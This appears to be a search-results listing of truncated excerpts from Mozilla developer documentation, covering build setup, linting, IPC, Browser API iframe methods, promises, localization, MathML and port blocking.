behavior type in nsstyleanimation and reference it from nscssproplist.h. this should probably be in a separate patch from the basic addition of the property. finishing up then you'll need to rebuild and run the mochitests in layout/style (./mach mochitest -f plain layout/style/). if you've done everything right, they should pass; if they don't, you need to fix something. then you should get
review on the work you've done so far and move on to implementing whatever the property does (which should be in a separate patch or patches). ...
Application cache implementation overview
cache object. if found, the channel is then using that nsiapplicationcache object to load entries from. the following loading process decisions are then the same as for the top level load with one addition: when the entry is neither found in the cache nor matches any namespace in that cache we fail the resource load with document_not_found. falling back on a resource load failure when a resource p
reviously matching a fallback namespace failed to load from the network, we perform fallback to the p
reviously remembered fallback entry. it's actually a redirect to the fallback url loading from the associated nsiapplicationcache. updating an existing cache or first download of an offline cache the process of updating or first caching is invoked asynchronously from nscontentsink::processofflinemanif...
Browser chrome tests
orexplicitfinish(); settimeout(completetest, 40000); } function completetest() { ok(true, "timeout did not run"); finish(); } exceptions in tests any exceptions thrown under test() will be caught and reported in the test output as a failure. exceptions thrown outside of test() (e.g. in a timeout, event handler, etc) will not be caught, but will result in a timed out test if they p
revent finish() from being called. cleaning up after yourself if you need to do special clean up after running your test, you can register a cleanup function that is guaranteed to be run after your test finishes. you can call registercleanupfunction() at any point in your test, even in head.js if you need to register a clean up function for all tests in that folder. notice that you can register as ...
Testopia
e code available from the git repository, please report it to us so that we can fix most critical ones on time for testopia 3.0. do not ask when we plan to release 3.0, because we really don't know. "as soon as possible" is our best answer. testopia 2.5 this versions supports bugzilla 4.2 and 4.4, and the best news is that it no longer requires a patch for bugzilla. if you are upgrading, please
reverse the existing version's patch before installing. a fresh install only requires that you untar the tarball in your bugzilla root directory and run checksetup. thanks go to lpsolit from the bugzilla team for his work in making this possible. testopia 2.4 this version supports bugzilla 3.6. important notice: if you are upgrading on a case sensitive filesystem you must remove the existing testo...
Chrome registration
1.5 (firefox 2.0.0.5) and earlier where you could not use a relative url for the new-resolved-uri parameter. you needed to provide an absolute url. see bug 323455. resource aliases can be created using the resource instruction: resource aliasname uri/to/files/ [flags] this will create a mapping for resource://<aliasname>/ uris to the path given. note: there are no security restrictions p
reventing web content from including content at resource: uris, so take care what you make visible there. manifest flags manifest lines can have multiple, space-delimited flags added at the end of the registration line. these flags mark special attributes of chrome in that package, or limit the conditions under which the line is used. application extensions may install into multiple applications...
Creating JavaScript callbacks in components
but you can use the same magic in your own idl callbacks. the nsidomeventlistener interface is "marked" with the function attribute. see it here. the function attribute tells the xpconnect machinery to treat the javascript function as if it was an implementation of the callback interface. ...
Creating Sandboxed HTTP Connections
appen. atopic: the notification topic. adata: null for the two topics. since the observers get notified for the registered topic for any connection, the listener needs to make sure that the notification is for the http connection our code created. since the channel that causes the notification is passed in as the first argument, comparing it to the globally stored channel (gchannel) in the p
revious section (which also gets updated each time a redirect happens). // create an nsiobserver implementor var listener = { observe : function(asubject, atopic, adata) { // make sure it is our connection first. if (asubject == gchannel) { var httpchannel = asubject.queryinterface(components.interfaces.nsihttpchannel); if (atopic == "http-on-modify-request") { // ... ...
Debugging on Mac OS X
debugging firefox, thunderbird, or some other application that supports multiple profiles, using a separate profile for debugging purposes is recommended. see "having a profile for debugging purposes" below. select the "arguments" tab in the scheme editor, and click the '+' below the "arguments passed on launch" field. add "-p profilename", where profilename is the name of a profile you created p
reviously. repeat that to also add the argument "-no-remote". also in the "arguments" panel, you may want to add an environment variable moz_debug_child_process set to the value 1 to help with debugging e10s. select "build" from the left of the scheme editor window, and check that there is nothing listed under targets (otherwise it may cause problems when you try to run the executable for debugging...
HTTP logging
ified limit. note 1: the file with the largest number is not guarantied to be the last file written! we don’t move the files, we only cycle. using the rotate module automatically adds timestamps to the log, so it’s always easy to recognize which file keeps the most recent data. note 2: rotate doesn’t support append. when you specify rotate, on every start all the files (including any p
revious non-rotated log file) are deleted to avoid any mixture of information. the append module specified is then ignored. use 'sync' if your browser crashes or hangs by default, http logging buffers messages and only periodically writes them to disk (this is more efficient and also makes logging less likely to interfere with race conditions, etc). however, if you are seeing your browser crash (...
Configuring Build Options
it crash reports to mozilla. after enabling the crash reporter in your local build, you will need to run mach with the --enable-crash-reporter (note the extra dash) to enable it at runtime, like so: `./mach run --enable-crash-reporter` ac_add_options --enable-warnings-as-errors this makes compiler warnings into errors which fail the build. this can be useful since certain warnings coincide with
reviewbot lints which must be fixed before merging. ac_add_options --with-ccache=/path/to/.mozbuild/sccache/sccache this enables sccache to speed up builds. this saves a considerable amount of time directly after a clobber build, so pulling in new updates and rebasing is less time-consuming. example mozconfig files mozilla's official builds use mozconfig files from the appropriate directory with...
Simple Instantbird build
the root of your machine and re-building. get the latest source code from mozilla's comm-central mercurial code repository: hg clone http://hg.mozilla.org/comm-central then, get all the repositories it depends on. the comm-central repository includes a script to do just that. this may take a while, it's a lot of code! first, cd into the comm-central subdirectory (created automatically by the p
revious command): cd comm-central then run: python client.py checkout note: unless you have a very good network connection, "hg clone" might fail because it gets interrupted. it is faster and more efficient to use mercurial bundles instead the first time you fetch the complete repo. in this case, you need a bundle for comm-central, and a bundle for mozilla-central. unbundle mozilla-central into ...
Simple Thunderbird build
g. those have caused several problems historically and tend to be poorly tested when the build system changes. ...
Updating NSPR or NSS in mozilla-central
econf.dep check directory mozilla/nsprpub/patches/ for patches that need to be applied to nspr, and directory mozilla/security/patches/ for patches that need to be applied to nss. apply the patches. if merging is required, update the patch file. if a patch is no longer needed, remove the patch from the directory and update the readme file. check for new or removed files $ hg addremove -n
review the output to make sure it looks correct update the minimum required system nss version in old-configure.in. this is for builds with --with-system-nss. for example, in the following, "3.16.1" would be replaced with the new nss version. moz_arg_with_bool(system-nss, [ --with-system-nss use system installed nss], _use_system_nss=1 ) if test -n "$_use_system_nss"; then am...
Windows SDK versions
on are no longer supported, further information is available at obsolete build caveats and tips [en-us] under the windows sdk article. windows 8 sdk (official) features that depend on this sdk include: metro firefox front end gamepad api support you can download the sdk from the microsoft download center [web setup]. windows 7 sdk features that depend on this sdk include: windows 7 taskbar p
reviews windows 7 download taskbar progress windows 7 jump lists you can download the sdk (v7.0 [web setup or iso image] or unsupported v7.1 [web setup or iso image]) from the microsoft download center. note that if you're running a 64 bit version of windows you may require the "amd" version of the sdk even if you have an intel processor, and you may need to deselect the documentation component in...
Creating Custom Events That Can Pass Data
text, aevent); if (nsnull == it) { return ns_error_out_of_memory; } return callqueryinterface(it, adomevent); } in general though i'd strongly recommend using a function the way that everyone else does. you can find the prototypes for the function in nsiprivatedomevent. your event in order for your event to work you must do the following: create a scriptable interface called nsidom{you
reventname} inheriting from nsidomevent. a good place to put this .idl is in mozilla/dom/public/idl/events/. #include "nsidomevent.idl" [scriptable, uuid(08bea243-8a7b-4554-9ee9-70d7785d741b)] interface nsidommyevent: nsidomevent { //put members here! }; implement the interface you created with a class that inherits from nsdomevent. use nsdomevent.h's ns_forward_to_nsdomevent macro so that you ...
ESLint
in order to help people write standard-compliant code from the start and avoid wasting time during code
reviews, a set of eslint configuration files have been added to the code base so that javascript can be analyzed automatically. this automatic linting can happen either while coding, in a code editor, or when using the command line. it also runs on treeherder for every check-in. running eslint eslint comprises of a set of rules that are used to analyse the code for correctness and style consistency. meeting these rules before
review will help reduce the amount of
review time, and the
revisions necessary to have a
review granted. setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific director...
Eclipse CDT
reak etc.), and install it in $home/bin). that done, open the workspace preferences, select "c/c++ > debug > gdb", and set "gdb debugger" to the full path of your new gdb executable. gdb unexpectedly detaching if gdb starts ignoring your breakpoints, or unexpectedly terminates or detaches from the firefox process, this may be caused by out of date breakpoints (breakpoints that you set during a p
revious debug session, after which you've since rebuilt). remove any such breakpoints and restart your debug session. known issues there are various known limitations and bugs when it comes to using eclipse with mozilla. eclipse is open source, of course so if anyone feels like doing a bit of java hacking to fix these issues that'd be great. headers are only parsed once for performance reasons, e...
Inner and outer windows
the grey circles represent the more abstract inner and outer windows, which are real objects that you don't directly interact with when working with the dom. the window at the top of the diagram is an outer window. as the user navigates in each of the documents in the various frames, each of those inner windows has its own history that can be moved forward and backward through, just like in the p
revious diagram. the <iframe> element offers the contentwindow property, which gives you the outer window window object containing the frame's document. the frame's contentdocument property, similarly, gives you the document object inside the frame. you can get the window containing the frame from the window.parent property. this hierarchy can continue on, if frames contain additional frames. ...
Interface Compatibility
lications, programming interfaces change. the rules which govern interface changes are different depending on the consumers and the languages involved. web content apis which are visible to web content are not modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option. any changes, including new features, must have super-
review. one exception to this rule is apis which are explicitly shipped with mozilla prefixes as a technology p
review. this includes css properties that begin with the -moz- prefix (e.g. -moz-box-shadow), or javascript apis that begin with the moz prefix (e.g. canvasrenderingcontext.mozdrawtext). these apis may be removed or replaced with standard interfaces in future releases of mozilla. jetpack t...
Obsolete Build Caveats and Tips
l text and bold out what has been removed. obsolete caveats and tips from simple_firefox_build install a version of visual studio that supports c++ development: vs 2012 for windows desktop pro or express (free), or vc++ 2010 pro or express (free), or vc++ 2008 pro or express with sp1 (free) (warning ! from firefox 10, the compilator is visual studio 2010; if you want to use it, you must use a p
revious version of it !), or 2005 professional from build_instructions those who need to work with the code for firefox 3/mozilla 1.9 and earlier can check out the latest source using cvs. in reality, you should probably not need to do this, since that code is very obsolete. this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%...
Listening to events on all tabs
firefox 3.5 adds support for listening to progress events on all tabs. adding a listener to listen to progress events on all tabs, call the browser's addtabsprogresslistener() method: gbrowser.addtabsprogresslistener(myprogresslistener); myprogresslistener is an object that implements the callbacks used to provide notifications of progress events. removing a listener to remove a p
reviously installed progress listener, call removetabsprogresslistener(): gbrowser.removetabsprogresslistener(myprogresslistener); implementing a listener the listener object itself has five methods it can implement to handle various events: onlocationchange called when the uri of the document displayed in the tab changes. void onlocationchange( nsidomxulelement abrowser, nsiwebprogress awebprogress, nsirequ...
Working with Mozilla source code
cleanup guide guidelines and best practices for shipping new svgs. try servers mozilla products build on at least three platforms. if you don't have access to them all, you can use the try servers to test your patches and make sure the tests pass. creating a patch once you've made a change to the mozilla code, the next step (after making sure it works) is to create a patch and submit it for
review. this article needs to be updated fully for mercurial. getting commit access to the source code feel ready to join the few, the proud, the committers? find out how to get check-in access to the mozilla code. ...
mach
ingle file, the easiest solution is probably to register it as a one-off inside build/mach_bootstrap.py. there should be a python list of paths named mach_modules or similar. just add your file to that list, run mach help and your new command should appear! submitting a mach command for approval once you've authored a mach command, submit the patch for approval. please flag firefox-build-system-
reviewers for
review. mach command modules useful information command modules are not imported into a reliable python package/module "namespace." therefore, you can't rely on the module name. all imports must be absolute, not relative. because mach command modules are loaded at mach start-up, it is important that they be lean and not have a high import cost. this means that you should avoid global...
Error codes returned by Mozilla APIs
0009) this error occurs when an attempt is made to use a path that isn't valid for the platform. ns_error_file_disk_full (0x8052000a) this error will occur if attempting to write to a disk that is full. ns_error_file_corrupted (0x8052000b) indicates that an attempt was made to open or access a file that has been corrupted, or that the format of a file is unknown. this error might occur if a p
revious attempt to write to the file had failed. this error may be returned by various components that use files to indicate that necessary files are not in an expected format. ns_error_file_not_directory (0x8052000c) this error will occur if an attempt was made to perform an operation on a file that is only valid for a directory. this error can be caused by the directoryentries nsifile.attributes ...
Experimental features in Firefox
60 no release 60 no preference name security.insecure_connection_text.enabled for normal browsing mode; security.insecure_connection_text.pbmode.enabled for private browsing mode upgrading mixed display content when enabled, this preference causes firefox to automatically upgrade requests for media content from http to https on secure pages. the intent is to p
revent mixed-content conditions in which some content is loaded securely while other content is insecure. if the upgrade fails (because the media's host doesn't support https), the media is not loaded. see bug 1435733 for more details. this also changes the console warning; if the upgrade succeeds, the message indicates that the request was upgraded, instead of showing a warning. release c...
Multiple Firefox profiles
l interrupts the profile deletion. renaming a profile in the profile manager, select the profile you want to rename, and then click "rename profile". enter a new name for the profile and click on ok. note: the folder containing the files for the profile is not renamed. options work offline choosing this option loads the selected profile, and starts firefox offline. you can view p
reviously viewed web pages, and experiment with your profile. don't ask at startup if you have multiple profiles, firefox prompts you for the profile to use each time you start firefox. select this option to allow firefox to load the selected profile, without prompting at startup. note: to access other profiles after selecting this option, you must start the profile manager first. using the pro...
Cross Process Object Wrappers
urrent document uri, then accesses the current document uri via a cpow. you might expect the value of uri to come back as "hello.com". but it might not: in order to avoid deadlocks, cpow messages can bypass normal messages and be processed first. it’s possible that the request for the documenturi property will be processed before the "changedocumenturi" message, in which case uri will have its p
revious value. for this reason, it’s best not to mix cpows with normal message manager messages. it’s also a bad idea to use cpows for anything security-related, since you may get results that are not consistent with surrounding code that might use the message manager. safe and unsafe cpows the main reason cpows can be bad for responsiveness is that they make the chrome process block on the ...
Communicating with frame scripts
chrome code and frame scripts communicate back and forth using a messaging api which can include json-serializable objects as arguments. the api is mostly symmetrical, with one major exception: frame scripts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to content. this is an intentional design decision made to p
revent content code from making chrome code unresponsive. where absolutely necessary, frame scripts can pass wrappers called cross process object wrappers (also known as cpows) to chrome, and chrome can use these wrappers to get synchronous access to content objects. content to chrome the frame script can choose to send synchronous or asynchronous messages to chrome code. asynchronous messaging to send an asynch...
Multiprocess Firefox
message manager a complete guide to the objects used to communicate between chrome code and web content. cross process object wrappers cross process object wrappers are a migration aid, giving chrome code synchronous access to web content. ...
HTMLIFrameElement.clearMatch()
plementing the search bar for more explanation. searchtoggle.addeventlistener('touchend',function() { if(search.getattribute('class') === 'search') { search.setattribute('class', 'search shifted'); } else if(search.getattribute('class') === 'search shifted') { search.setattribute('class', 'search'); if(searchactive) { browser.clearmatch(); searchactive = false; p
rev.disabled = true; next.disabled = true; searchbar.value = ''; } } }); specification not part of any specification. ...
HTMLIFrameElement.findAll()
rowser <iframe>'s text. casesensitivity a string to declare whether you want the search to be case sensitive (case-sensitive) or insensitive (case-insensitive.) example the following function is taken from our browser api demo, and executes a search when a search form is submitted. see implementing the search bar for more explanation. searchform.addeventlistener('submit', function(e) { e.p
reventdefault(); browser.findall(searchbar.value, 'case-sensitive'); searchactive = true; p
rev.disabled = false; next.disabled = false; searchbar.blur(); }); specification not part of any specification. ...
HTMLIFrameElement.goBack()
ck. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the goback() method of the htmliframeelement interface is used to navigate backwards in the browser <iframe>'s history. by calling this method, the browser <iframe> changes its location for the p
revious location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on. syntax instanceofhtmliframeelement.goback(); returns void. parameters none. examples back.addeventlistener('touchend',function() { browser.goback(); }); specification not part of any specification. ...
mozbrowsershowmodalprompt
e of the prompt. message a domstring representing the value passed to the window.alert(), window.confirm(), or window.prompt() methods within the browser <iframe>'s content. returnvalue a domstring representing the return value for the window.prompt() methods. this should be set by the embedder. unblock() a function to be called when the iframe is unblocked. note that if the embedder calls p
reventdefault() on this event, the iframe is blocked until unblock() is called. obsolete properties of details msg_name a string representing the type of message. for that event, it's always showmodalprompt. initialvalue a string representing the initial value for the window.prompt() methods. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsershowm...
HTMLIFrameElement.reload()
r. there may also be large incompatibilities between implementations and the behavior may change in the future. the reload() method of the htmliframeelement interface is used to reload the content of the <iframe>. syntax instanceofhtmliframeelement.reload(hardreload); returns void. parameters hardreload optional a boolean that indicates whether all the resources to reload must be
revalidated (true) or may be taken directly from the browser cache (false). examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification. ...
HTMLIframeElement.removeNextPaintListener()
warning: removed in firefox 65. the removenextpaintlistener() method of the htmliframeelement interface is used to remove a handler p
reviously set with the addnextpaintlistener method. syntax instanceofhtmliframeelement.removenextpaintlistener(listener); returns void. parameters listener a function handler p
reviously set with addnextpaintlistener. examples var browser = document.queryselector('iframe'); function onnextpaint() { console.log("paint has occured"); } browser.addnextpaintlistener(onnextpaint); browser.removenextpaintlistener(onnextpaint); specification not part of any specification. ...
Hacking with Bonsai
inux, win32 & macppc. at 10:00 am, everyone who is on the hook is available in case the build breaks eventually, the tree builds, and it is re-opened. there is a web page, which records if the tree is open or closed what the date stamp of the last known good tree is who is on the hook for the current tree before the tree is opened, the list of checkins that happened when the tree was closed is
reviewed to insure that only build related checkins took place. before the tree is opened, there is a car pool lane where people who have been off on a branch and need a stable tip to merge in can pull the tip for their merge. these people, when they check in, will be "on the hook" for the next day's build. the car pool lane is only available to those who arrange access ahead of time with the release...
IPDL Best Practices
lifetime management ensure ipdl deletes your protocol all protocols must be deleted. period. are you sending the __delete__ message to trigger protocol deletion? this one is easy to miss, as the corresponding recv__delete__ function has a stub implementation automatically generated in the base class. simply calling delete on a pointer to an actor is not enough. ...
IPDL Type Serialization
param(amsg, aiter, &(aresult->k[i]))) return false; return true; } }; } // namespace ipc once you have a serializer for a type, you can serialize a collection of it (ex: an nstarray<examplestruct>) by simply declaring "using nstarray<examplestruct>;' in your ipdl file, then using it in a ipc method. serializers and deserializers are security-sensitive and must always receive two
reviews from module owners who understand ipc serialization well. if in doubt, please ask for help! it is never acceptable to serialize/deserialize raw pointer values; if you are tempted, you probably should create a subprotocol for that data, so that ipdl can check the values and lifetime. ...
Implementing Download Resuming
st/exthandler do). the front-end code can then notify the user of this, and offer to resume the download. resuming a download in order to resume a download, you should create a channel as usual (using nsiioservice). then, you can check if it implements nsiresumablechannel. if it does not, the protocol does not support resuming. otherwise, call resumeat with the desired start position, and the p
reviously stored entity id. (it is possible to pass an empty string as the id; however, this means that you have no assurance that the file remained unchanged) now, you can open the channel as usual (using nsichannel.asyncopen() in the common case) and write to the file in the ondataavailable notifications. you may want to use nsisimplestreamlistener to simplify this task; to get progress notificati...
JavaScript Tips
pic, astate) { } } when declaring xpcom methods, try to use the same names for method parameters as are used in the interface definition. dom elements dom elements are just xpcom objects with some of the interfaces precached. don't call getattribute to see if an attribute exists, call hasattribute instead. prefer to loop through childnodes rather than using first/lastchild with next/p
revioussibling. but prefer haschildnodes() to childnodes.length > 0. similarly prefer document.getelementsbytagname(atag).item(0) != null to document.getelementsbytagname(atag).length > 0. prefer to use localname rather than tagname. xul elements have many of the attributes mapped to properties. this was done for a reason, so use them! the properties are: align allowevents contextmenu ...
AddonManager
he computer). scope_user 2 this add-on is installed somewhere specific to the current user (all profiles of the logged-in user). note: the extensions.enabledscopes preference lets you configure which of these scopes are enabled; however, you can't turn off the profile scope. starting in firefox 8, you can also set the value of the preference extensions.autodisabledscopes to p
revent firefox from automatically installing add-ons from the specified scopes. addontype viewtypes constant description view_type_list the type should be displayed in a regular list view in the ui. addontype flags constant description type_ui_hide_empty the type should be hidden from the ui if no add-ons of that type are currently installed. ...
DownloadLastDir.jsm
; console.log(file); private browsing mode when browsing normally, the browser uses the browser.download.lastdir preference to store the last download directory path. however, when private browsing mode is enabled, the last download directory path is instead maintained in memory, and the preference is not changed. when the user exits private browsing mode, the last download directory value is
reverted to the preference's value. when history is cleared when the user's browsing history is cleared, the value of the last download directory path is restored to the platform's default download directory path. ...
DownloadList
gle download argument, after the properties of the download change. ondownloadremoved: optional this function is called with a single download argument, after the download is removed from the list. promise resolves to undefined when the view has been registered and all the ondownloadadded notifications for the existing downloads have been sent. removeview() removes a view that was p
reviously added using addview(). promise removeview( object aview ); parameters aview optional the view object to remove. promise resolves to undefined when the view has been removed. at this point, the removed view will not receive any more notifications. removefinished() removes downloads from the list that have finished, have failed, or have been canceled without keeping partial...
DownloadSummary
notification. promise addview( object aview ); parameters aview the view object to add. the following methods may be defined: onsummarychanged: optional called after any property of the summary has changed. promise resolves to undefined when the view has been registered and the onsummarychanged notification has been sent. removeview() removes a view that was p
reviously added using addview(). promise removeview( object aview ); parameters aview the view object to remove. promise resolves to undefined when the view has been removed. at this point, the removed view will not receive any more notifications. ...
Interfacing with the Add-on Repository
ed number is smaller than the requested number, for example). for example: searchsucceeded: function(addons, addoncount, totalresults) { var num = math.floor(math.random() * addoncount); this.shownotification("would you like to try the " + addons[num].name + " addon?", "install", addons[num].install); }, this routine randomly selects one of the returned add-ons, then calls the p
reviously mentioned shownotification() routine, passing in as parameters a prompt including the name of the returned add-on, a label for the button to show in the notification ("install"), and the addoninstall object that can be used with the add-on manager api to install the add-on. installing the add-on the shownotification() routine displays a notification box offering to install the recommended...
Following the Android Toasts Tutorial from a JNI Perspective
uration = toast.length_short; var duration = toast.length_short; // toast toast = toast.maketext(context, text, duration); var toast = toast.maketext(context, text, duration); // toast.show(); toast.show(); notice that the charsequence was not created with a constructor. this is special: because a charsequence is an array of byte characters, we can pass simple javascript strings to jni.jsm whe
rever a charsequence is needed. this tells us we don't even need the sig for charsequence in our sig object, so let's remove it. final jni ported code here's converted code. var my_jenv = null; try { my_jenv = jni.getforthread(); // we declare the classes, methods, etc we will be using: this part is not seen in the native example var sig = { context: 'landroid/content/context;...
NetUtil.jsm
ad as a string; this is ignored if awhattoload is not a string. defaults to utf-8 if not provided. abaseuri the base uri for the spec, specified as an nsiuri. only used if awhattoload is a string. newuri() the newuri() method creates a new nsiuri. this method wraps the nsiioservice.newuri(). note: starting in gecko 2, this method supports specifying an nsifile as the target of the uri. in p
revious versions of gecko, you must use a string to specify the uri. nsiuri newuri( atarget, [optional] aorigincharset, [optional] abaseuri ); parameters atarget specifies the target of the uri as either a uri string or (starting in gecko 2) as an nsifile. aorigincharset the optional character set for the uri. defaults to utf-8 if not provided. abaseuri the base uri for the spec, sp...
Promise
y have a reference. internally, a promise can be in one of three states: pending, when the final value is not available yet. this is the only state that may transition to one of the other two states. fulfilled, when and if the final value becomes available. a fulfillment value becomes permanently associated with the promise. this may be any value, including undefined. rejected, if an error p
revented the final value from being determined. a rejection reason becomes permanently associated with the promise. this may be any value, including undefined, though it is generally an error object, like in exception handling. note: you should always handle, forward, or report errors (rejection reasons). if you see the message "a promise chain failed to handle a rejection", there is likely somet...
Promise.jsm
ot be available yet. internally, a promise can be in one of three states: pending, when the final value is not available yet. this is the only state that may transition to one of the other two states. fulfilled, when and if the final value becomes available. a fulfillment value becomes permanently associated with the promise. this may be any value, including undefined. rejected, if an error p
revented the final value from being determined. a rejection reason becomes permanently associated with the promise. this may be any value, including undefined, though it is generally an error object, like in exception handling. a reference to an existing promise may be received by different means, for example as the return value of a call into an asynchronous api. in this case, the state of the pro...
PromiseUtils.jsm
cript code module offers some useful functions related to dom promise. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/promiseutils.jsm"); method overview deferred defer(); methods defer() creates a new pending promise and provides methods to resolve or reject this promise. this method was p
reviously implemented as promise.defer(), which is obsolete since gecko 30. and promiseutils.defer uses dom promise instead of promise.jsm's promise. deferred defer(); parameters none. return value a new object, containing the new promise in the promise property, and the methods to change its state in the resolve and reject properties. see the deferred documentation for details. ...
Sqlite.jsm
ified as null. note: callers are strongly encouraged to use bound parameters instead of dynamically creating sql statements for security reasons. bound parameters aren't prone to sql injection like manual sql statement construction (e.g., concatenating a raw value into the executed sql statement). note: callers are encouraged to pass objects rather than arrays for bound parameters because they p
revent foot guns. with positional arguments, it is simple to modify the parameter count or positions without fixing all users of the statement. objects/named parameters are a little safer because changes in the order of parameters in the statement won't change how values are bound to those parameters. when onrow is not defined, the full results of the operation are buffered before the caller is n...
Webapps.jsm
n(aoldapp, anewapp, aislocalfileinstall, aisupdate,) _checksignature: function(aapp, aissigned, aislocalfileinstall) _saveetag: function(aisupdate, aoldapp, arequestchannel, ahash, amanifest) _checkorigin: function(aissigned, aoldapp, amanifest, aisupdate) _getids: function(aissigned, azipreader, aconverter, anewapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, anewapp, astoreid, asto
reversion)
revertdownloadpackage: function(aid, aoldapp, anewapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinstalled: function(adata, amm...
L10n testing with xcode
simulator is fairly easy to use once you launch your app. to perform the next steps, you'll need to be familiar with how user gestures and hardware interactions work in the simulator. this guide should help. press the run button in the upper left-hand corner (the button has a playback icon). navigate to the newly opened ios simulator window many strings are accessibility strings and are only
revieled when a user hovers their finger over the button. to view these strings, you'll need to start the accessibility inspector within the ios simulator by doing the following. in the ios simulator, press the home button from the hardware toolbar menu. navigate to the settings app, open it, and go to general > accessibility. slide the accessibility inspector switch to on. the accessibil...
Localizing extension metadata on addons.mozilla.org
the localizable data fields of an extension are: name homepage summary description eula privacy policy version notes developer comments when you submit a new extension to amo, the process is divided into several steps. in step 2, you'll be asked to provide the attributes listed above in the add-on's default locale (selected in step 1). the values you provide here are used as fallback values if someone requests a language that doesn't exist. ...
Localizing with Pontoon
slations will also appear in website, if they could also be translated in-context. translation helpers as you can see, suggestions from history, translation memory, machine translation and other locales are also available in the out-of-context translation panel. we call all of these translation helpers and here's how each of them will help you as you translate strings: history displays p
reviously suggested translations, including from other users. machinery displays matches from various services: internal translation memory, mozilla transvision, open source translation memory, microsoft terminology and machine translation. other locales displays matching translations from other locales. search almost like machinery, but takes provided keyword as input parameter instead of the ...
Patching a Localization
ons. a good patch only contains those changes that you intended to make. if it contains more, you'll likely regress something else. alternatively, you can select specific files for diff to evaluate and print (see below). the command will only print the differences found in the selected files. hg diff browser/chrome/browser/browser.dtd attach the patch to an existing bug for reference or
review or create a new one if one doesn't currently exist. hg diff > path/to/patchfile ...
Localization formats
y-like values of msgid. this is very non-standard because it avoids one of the obvious powers of gettext. when english content is used as the value of the msgid, there is no need to place that content in a special repository. but, in the download day example, when changes were made to en-us, the web-developer had to push those changes to all the repositories of all the locales. localizers had to
revisit an en-us repository to find the exact msgid,
review the change, and return to their repository to make changes. without having the exact content as the msgid, this process may cause several errors since the localizers cannot has to continually switch back-and-forth. in this case, the choice to use customized values for msgid was error-prone, onerous, and unfamiliar to localizers who are used...
Web Localizability
r web app localizable as soon as possible. you will make localizer's life easier, for which they will be grateful. you will have quality content, localized and adapted to the needs of the local market. extending you web app to support new languages will be easy. the content will be easier to maintain and update. you will end up writing more semanticly-correct code, which is good for your seo. by
reviewing your content and code for l12y, you will find and fix bugs in your original language too. ...
gettext
running xgettext will result in the following messages.po file: # some descriptive title. # copyright (c) year the package's copyright holder # this file is distributed under the same license as the package package. # first author <email@address>, year. # #, fuzzy msgid "" msgstr "" "project-id-version: package version\n" "report-msgid-bugs-to: \n" "pot-creation-date: 2009-09-28 16:18+0200\n" "po-
revision-date: year-mo-da ho:mi+zone\n" "last-translator: full name <email@address>\n" "language-team: language <ll@li.org>\n" "mime-version: 1.0\n" "content-type: text/plain; charset=charset\n" "content-transfer-encoding: 8bit\n" "plural-forms: nplurals=integer; plural=expression;\n" #. l10n: this is a block comment one line directly above the gettext function call. it will be extracted by xgettext...
Basics
ragment with the usual view source. this demo has been made to illustrate the following aspects. you can right-click on any math fragment of interest throughout this document. the context menu won't show up. rather, the math fragment will zoom, and if you right-click a second time, you will see the mathml wysiwyg markup of the fragment, and if you right-click again a third time, the fragment will
revert to its initial state. this tri-state mode is aimed at limiting conflicts with other agents that compete for the mouse. with mathml, one can build sets such as (go on, right-click any of these equations to experiment the zoom) { 0 , 1 , 2 , 3 , 4 } or { ⌊ a b ⌋ | a 2 + b 2 ≤ 3 } , write calculus d y d x = 1 y 2 , form rather complicated expressions ...
Extras
they are not portable and are meant to showcase a few interesting upshots from building natively upon the browser environment. other renderers are expected to ignore attributes that they don't understand while the behavior of undefined elements is well, undefined. ...
Fonts for Mozilla 2.0's MathML engine
tains the necessary glyphs for stretchy operators but mozilla does not yet make use of all of these. the license allows you to "use this font as permitted by the eula for the product in which this font is included to display and print content", so consulting your lawyer is recommended if considering installing this on systems without the associated product. reset old preferences if users have p
reviously changed the "font.mathfont-family" preference for a p
revious version of mozilla, then it is best to reset this to the default value. to do this, enter the url "about:config", "filter" for "mathfont", and "reset" to the default value through the context menu on the preference. mathml font selection with css you can get these fonts from the mathml-fonts add-on ; the xpi is just a zip archive ...
MathML Demo: <mtable> - tables and matrices
note that setting the baseline relative to a particular row is meaningless if the row doesn't have at least one cell with "rowalign=baseline" where to anchor the baseline (in which case mozilla will behave as if it was align="center#rownumber"). these may sound like gimmicks until you want to get a damping effect such as this ---... ab ab ab ab ab ab , or perhaps the
reverse ---... ab ab ab ab ab ab , modulo pixel roundoff errors. here 'a' and 'b' can be other combinations of possibly irregular boxes. and making floating elements do a multiplication such as the following one which is anchored at a baseline is made simple by using align="baseline1" on both tables [ a b c d ] [ a b c d ] to multip...
Using the viewport meta tag to control layout on mobile browsers
om level. not all mobile browsers handle orientation changes in the same way. for example, mobile safari often just zooms the page when changing from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape. if web developers want their scale settings to remain consistent when switching orientations on the iphone, they must add a maximum-scale value to p
revent this zooming, which has the sometimes-unwanted side effect of p
reventing users from zooming in: <meta name="viewport" content="initial-scale=1, maximum-scale=1"> suppress the small zoom applied by many smartphones by setting the initial scale and minimum-scale values to 0.86. the result is horizontal scroll is suppressed in any orientation and the user can zoom in if they want to. <meta nam...
Mozilla Port Blocking
the html form protocol attack which allowed sending arbitrary data to most tcp ports. a simple exploit of this hole allows an attacker to send forged unsigned mail through a mail server behind your firewall: a really nasty hole. mozilla responded by modifying how protocols can access ports. by default, mozilla now blocks access to specific ports which are used by vulnerable services in order to p
revent security vulnerabilites due to "cross-protocol scripting". each protocol's handler can override this blocking for itself in order to enable the required access for that protocol. potential problems caused by port blocking port blocking can cause problems if a site or web application requires access to one of the ports which is blocked in mozilla. if a user attempts to access a uri on a blocked...
